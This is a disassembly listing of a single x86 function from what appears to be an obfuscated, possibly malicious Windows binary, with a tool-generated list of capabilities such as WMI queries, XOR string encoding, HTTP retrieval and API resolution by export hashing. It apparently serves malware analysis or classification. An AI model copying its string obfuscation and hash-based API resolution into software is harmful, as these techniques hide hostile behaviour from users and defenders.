Function at 0x437570
Capabilities:
Authenticate hmac
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc0
mov esi, esp
mov ebx, dword [ebp + 8]
push eax
mov eax, esp
mov dword [esi + 0x10], eax
mov eax, dword [0x44a918]
mov dword [esi + 0x20], 0xc31dc5e9
mov dword [esi + 0x24], 0xcf31c139
mov dword [esi + 0x28], 0xcb27cd30
mov dword [esi + 0x2c], 0xd71ac93d
mov dword [esi + 0x30], 0xd33bd52a
mov dword [esi + 0x34], 0xdf33d12a
mov dword [esi + 0x38], 0xdbdaddf1
mov byte [esi + 0x3c], 0
mov dword [esi + 0x68], 0
mov ecx, dword [esi + 0x68]
cmp ecx, 0x1c
ja 0x437614
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x68]
mov edx, dword [esi + 0x68]
movzx edx, byte [esi + edx + 0x20]
add ecx, 0x3433be82
xor ecx, edx
mov dword [esi + 0xac], ecx
mov ecx, dword [esi + 0xac]
add cl, 0xba
mov edx, dword [esi + 0x68]
mov byte [esi + edx + 0x20], cl
inc dword [esi + 0x68]
mov ecx, dword [esi + 0x68]
cmp ecx, 0x1d
jb 0x4375e0
lea ecx, [esi + 0x68]
lea edx, [esi + 0xac]
lea edi, [esi + 0x20]
push ecx
push 8
push edx
push 0xd
push edi
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448238]
mov dword [esi + 0xac], 0x3a0043
mov dword [esi + 0xb0], 0x5c
mov dword [esi + 0x74], 0
mov dword [esi + 0x70], 0
mov dword [esi + 0x6c], 0
mov dword [esi + 0x68], 0
mov dword [esi + 0x8c], 0
lea eax, [esi + 0x8c]
push eax
push 0x442a88
push 1
push 0
push 0x442a98
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
mov edi, dword [esi + 0x10]
jmp dword [eax*4 + 0x448240]
mov dword [esi + 0x20], 0x49e757e6
mov dword [esi + 0x24], 0x4dfe4bf9
mov dword [esi + 0x28], 0x410b4fe0
mov dword [esi + 0x2c], 0x45fd43fb
mov dword [esi + 0x30], 0xb91447f2
mov word [esi + 0x34], 0xbbb8
mov dword [esi + 0x36], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0x19
ja 0x437707
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov ecx, dword [esi]
movzx ecx, byte [esi + ecx + 0x20]
add eax, 0xccc685ed
xor eax, ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add al, 0x47
mov ecx, dword [esi]
mov byte [esi + ecx + 0x20], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0x1a
jb 0x4376e0
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esi + 0x8c]
mov ecx, dword [eax]
lea edx, [esi + 0x64]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esi + 0xa8], edi
push edi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
mov edi, dword [esi + 0x10]
jmp dword [eax*4 + 0x448248]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esi + 0x64]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448250]
jmp dword [0x448258]
jmp edx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x448290]
mov eax, ecx
and eax, 4
mov dword [esi + 4], ecx
mov ecx, dword [esi + 4]
or ecx, 4
imul ecx, eax
xor eax, 4
mov edi, dword [esi + 4]
and edi, 0xfffffffb
imul edi, eax
add ecx, dword [esi + 0x5c]
mov eax, dword [edi + ecx]
mov ecx, dword [esi + 4]
mov dword [esi + ecx*4 + 0x68], eax
mov edi, dword [esi + 0xc]
add edi, 0xfffffffc
xor eax, eax
mov ecx, edi
mov dword [esi + 0xc], edi
mov ecx, dword [esi + 4]
cmp edi, 4
mov edi, dword [esi + 0x10]
setb al
jmp dword [eax*4 + 0x4482a8]
inc ecx
jmp case.0x437cae.2
jmp dword [0x4482a4]
jmp dword [0x4482b0]
push dword [esi + 0x5c]
call fcn.00409630
add esp, 4
jmp case.0x437cae.0
xor edx, edx
test eax, eax
setne dl
mov ecx, eax
jmp dword [edx*4 + 0x4482e8]
jmp dword [0x4482e4]
mov dword [esi + 0x20], 0x41314329
mov dword [esi + 0x24], 0x4544473a
mov dword [esi + 0x28], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0xb
ja 0x4379a0
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov ecx, dword [esi]
movzx ecx, byte [esi + ecx + 0x20]
lea edx, [eax + 0x58]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0xd1e3b358
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add al, 0xe6
mov ecx, dword [esi]
mov byte [esi + ecx + 0x20], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0xc
jb 0x437970
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], 0xcd15cf5d
mov dword [esi + 0x24], 0xc911cb18
mov dword [esi + 0x28], 0xc56ac715
mov dword [esi + 0x2c], 0xc134c324
mov dword [esi + 0x30], 0xdd04df20
mov dword [esi + 0x34], 0xd90bdb72
mov dword [esi + 0x38], 0xd536d70b
mov dword [esi + 0x3c], 0xd165d37d
mov dword [esi + 0x40], 0xad63af62
mov dword [esi + 0x44], 0xa90bab62
mov dword [esi + 0x48], 0xa571a776
mov dword [esi + 0x4c], 0xa10fa375
mov word [esi + 0x50], 0xbfa0
mov dword [esi + 0x52], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0x35
ja 0x437a47
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov ecx, dword [esi]
movzx ecx, byte [esi + ecx + 0x20]
add eax, 0x7b52b51f
xor eax, ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add al, 0x11
mov ecx, dword [esi]
mov byte [esi + ecx + 0x20], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0x36
jb 0x437a20
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esi + 0x64]
mov edx, dword [ecx]
lea edi, [esi + 0x60]
push edi
push 0
push 0x30
push eax
push dword [esi + 0x14]
push ecx
call dword [edx + 0x50]
mov dword [esi + 0x20], 0x41314329
mov dword [esi + 0x24], 0x4544473a
mov dword [esi + 0x28], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0xb
ja 0x437ac0
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov ecx, dword [esi]
movzx ecx, byte [esi + ecx + 0x20]
lea edx, [eax + 0x58]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0xd1e3b358
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add al, 0xe6
mov ecx, dword [esi]
mov byte [esi + ecx + 0x20], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0xc
jb 0x437a90
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], 0xcd15cf5d
mov dword [esi + 0x24], 0xc911cb18
mov dword [esi + 0x28], 0xc56ac715
mov dword [esi + 0x2c], 0xc134c324
mov dword [esi + 0x30], 0xdd04df20
mov dword [esi + 0x34], 0xd90bdb72
mov dword [esi + 0x38], 0xd536d70b
mov dword [esi + 0x3c], 0xd165d37d
mov dword [esi + 0x40], 0xad63af62
mov dword [esi + 0x44], 0xa90bab62
mov dword [esi + 0x48], 0xa571a776
mov dword [esi + 0x4c], 0xa10fa375
mov word [esi + 0x50], 0xbfa0
mov dword [esi + 0x52], 0
mov dword [esi], 0
mov eax, dword [esi]
cmp eax, 0x35
ja 0x437b67
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov ecx, dword [esi]
movzx ecx, byte [esi + ecx + 0x20]
add eax, 0x7b52b51f
xor eax, ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
add al, 0x11
mov ecx, dword [esi]
mov byte [esi + ecx + 0x20], al
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0x36
jb 0x437b40
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esi + 0x64]
mov ecx, dword [eax]
lea edx, [esi + 0x60]
push edx
push 0
push 0x30
push edi
push dword [esi + 0x14]
push eax
call dword [ecx + 0x50]
jmp dword [0x448264]
mov dword [esi + 0xa4], edi
not eax
shr eax, 0x1f
mov edi, dword [esi + 0x10]
jmp dword [eax*4 + 0x448268]
mov dword [esi + 0x98], 0
mov eax, dword [esi + 0x60]
mov ecx, dword [eax]
lea edx, [esi + 0x98]
lea edi, [esi + 0x9c]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esi + 0x98], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x448270]
mov edi, dword [esi + 0x10]
jmp dword [0x4482bc]
lea eax, [esi + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x9c]
mov dword [esi + 0x20], 0xb2588c78
mov dword [esi + 0x24], 0xb658b027
mov dword [esi + 0x28], 0xba57b452
mov dword [esi + 0x2c], 0xbe24b84b
mov dword [esi + 0x30], 0xa245bc2e
mov dword [esi + 0x34], 0xa631a04a
mov dword [esi + 0x38], 0xa4a5
mov dword [esi + 0x18], 0
mov ecx, dword [esi + 0x18]
cmp ecx, 0x1b
ja 0x437c85
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esi + 0x18]
mov edx, dword [esi + 0x18]
movzx edx, byte [esi + edx + 0x20]
lea edi, [ecx + 0x5e]
and edi, edx
add ecx, edx
add edi, edi
sub ecx, edi
add ecx, 0x9b45a45e
mov dword [esi], ecx
mov ecx, dword [esi]
add cl, 0x2d
mov edx, dword [esi + 0x18]
mov byte [esi + edx + 0x20], cl
inc dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
cmp ecx, 0x1c
jb 0x437c50
mov ecx, dword [eax]
push 0
push 0
lea edx, [esi + 0x78]
push edx
push 0
lea edx, [esi + 0x20]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esi + 0x78], 8
sete cl
and cl, al
movzx eax, cl
mov edi, dword [esi + 0x10]
jmp dword [eax*4 + 0x448278]
lea eax, [esi + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esi + 0x9c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4482bc]
mov eax, dword [esi + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x4482c4]
push dword [esi + 0x14]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esi + 0xa4]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esi + 0xa8]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [edi], 0
push 0xefddb36b
push dword [0x44a910]
call fcn.0043e950
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
lea ecx, [esi + 0xac]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4482c8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [edi]
mov dword [esi + 0x68], eax
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x4482d0]
push dword [esi + 0x80]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esi + 0x80]
mov dword [esi + 8], eax
lea eax, [edx + eax*2]
mov dword [esi + 0x94], eax
movzx ecx, word [edx]
test cx, cx
mov dword [esi + 0x1c], edx
je 0x437df0
mov dword [esi + 0xc], 0
mov eax, edx
jmp 0x437dc6
add dword [esi + 0xc], edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
mov edi, dword [esi + 0x10]
je 0x437df7
cmp eax, dword [esi + 0x94]
jae 0x437df7
movzx edi, cx
cmp edi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp edi, 0x80
jb 0x437db4
mov edx, ecx
jmp 0x437db4
mov dword [esi + 0xc], 0
mov eax, dword [esi + 0xc]
inc eax
mov dword [esi + 0x90], eax
push eax
call fcn.00409620
add esp, 4
mov dword [esi + 0x5c], eax
mov dword [esi + 4], eax
cmp dword [esi + 0xc], 0
mov ecx, dword [esi + 0x1c]
jle 0x437f1f
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], eax
cmp dword [esi + 8], 0
jle 0x437f1f
mov eax, dword [esi + 0xc]
mov edx, ecx
mov ecx, dword [esi + 0x5c]
add eax, ecx
mov dword [esi + 0xa0], eax
add dword [esi + 0x90], ecx
add edx, 2
mov dword [esi + 4], ecx
mov ecx, edx
movzx edx, word [ecx - 2]
test dx, dx
je 0x437f1f
cmp dx, 0x7f
ja 0x437e6f
mov eax, dword [esi + 4]
mov byte [eax], dl
mov dword [esi + 8], 1
jmp 0x437efd
mov dword [esi + 0x1c], ecx
mov ecx, dword [esi + 4]
not ecx
add ecx, dword [esi + 0x90]
movzx eax, dx
mov dword [esi + 0x58], eax
cmp ecx, 2
jb 0x437eb3
cmp dword [esi + 0x58], 0x7ff
ja 0x437eb3
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov eax, dword [esi + 4]
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov dword [esi + 8], 2
mov ecx, dword [esi + 0x1c]
jmp 0x437efd
mov dword [esi + 8], 0
cmp ecx, 3
mov ecx, dword [esi + 0x1c]
jb 0x437efd
mov ecx, dword [esi + 0x58]
shr ecx, 0xc
or cl, 0xe0
mov eax, dword [esi + 4]
mov byte [eax], cl
mov ecx, dword [esi + 0x1c]
shr dword [esi + 0x58], 6
mov eax, dword [esi + 0x58]
and al, 0x3f
or al, 0x80
mov dword [esi + 8], edx
mov edx, dword [esi + 4]
mov byte [edx + 1], al
mov eax, dword [esi + 8]
and al, 0x3f
or al, 0x80
mov edx, eax
mov eax, dword [esi + 4]
mov byte [eax + 2], dl
mov dword [esi + 8], 3
mov eax, dword [esi + 4]
add eax, dword [esi + 8]
mov dword [esi + 4], eax
cmp eax, dword [esi + 0xa0]
jae 0x437f1f
mov edx, ecx
add ecx, 2
cmp edx, dword [esi + 0x94]
jb 0x437e4b
mov eax, dword [esi + 4]
mov byte [eax], 0
xor ecx, ecx
mov edx, dword [case.0x437cae.4]
jmp case.0x437cae.2